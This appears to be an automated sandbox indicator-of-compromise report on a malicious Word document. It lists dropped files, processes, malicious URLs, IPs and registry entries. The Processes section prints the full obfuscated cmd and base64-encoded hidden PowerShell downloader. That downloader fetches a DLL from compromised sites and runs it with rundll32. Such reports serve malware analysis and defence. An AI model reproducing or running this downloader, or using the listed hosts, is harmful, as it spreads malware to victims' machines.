IOCReport

loading gif

Files

File Path
Type
Category
Malicious
Arch_2021_717-1562532.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Et odit non optio. Aut reprehenderit eaque ullam. Labore dignissimos rerum rerum voluptas quod et aut assumenda. Qui sed eos sit suscipit., Author: Victoria Murillo, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jan 25 09:28:00 2021, Last Saved Time/Date: Mon Jan 25 09:28:00 2021, Number of Pages: 1, Number of Words: 5622, Number of Characters: 32047, Security: 8
initial sample
 malicious
C:\Users\user\Kaktksw\An6othh\N49I.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B6528223-1CF8-4E74-AA78-05F4F57053A0}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E52EFAE2-E64E-47DE-AFA9-74F75F545893}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Arch_2021_717-1562532.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020, atime=Tue Jan 26 20:32:39 2021, length=175616, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XU9O8G9A8UDMPEGZGHPP.temp
data
dropped
 clean
C:\Users\user\Desktop\~$ch_2021_717-1562532.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kvmkgtcj\aykivov.nhj',HGTGPppTjVNX
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kvmkgtcj\aykivov.nhj',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unxqf\ouoi.jab',tPlaqqOeWpG
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unxqf\ouoi.jab',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Iemuqepepuxnfb\fiqpbnltnychm.qgs',SlGUqAwWB
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Iemuqepepuxnfb\fiqpbnltnychm.qgs',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qzwbjgb\bmqjkk.hhh',AkVsWQgzjbvUf
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qzwbjgb\bmqjkk.hhh',#1
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 5 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://217.160.169.110:8080/zrm2/7son14/mlqmfbi2uji6/
217.160.169.110
 malicious
http://3musketeersent.net/wp-includes/TUgD/
unknown
 malicious
https://skilmu.com/wp-admin/hQVlB8b/
unknown
 malicious
http://jeevanlic.com/wp-content/r8M/
unknown
 malicious
http://dashudance.com/thinkphp/dgs7Jm9/
unknown
 malicious
http://shannared.com
unknown
 malicious
http://shannared.com/content/lhALeS/
192.169.223.13
 malicious
http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/
unknown
 malicious
http://leopardcranes.com/zynq-linux-yaayf/w/
unknown
 malicious
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
There are 11 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
shannared.com
192.169.223.13
 malicious

IPs

IP
Domain
Country
Active
Malicious
217.160.169.110
unknown
Germany
unknown
 malicious
51.255.203.164
unknown
France
unknown
 malicious
84.232.229.24
unknown
Romania
unknown
 malicious
192.169.223.13
unknown
United States
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
)'8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
a(8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
9*8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EDC4B
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
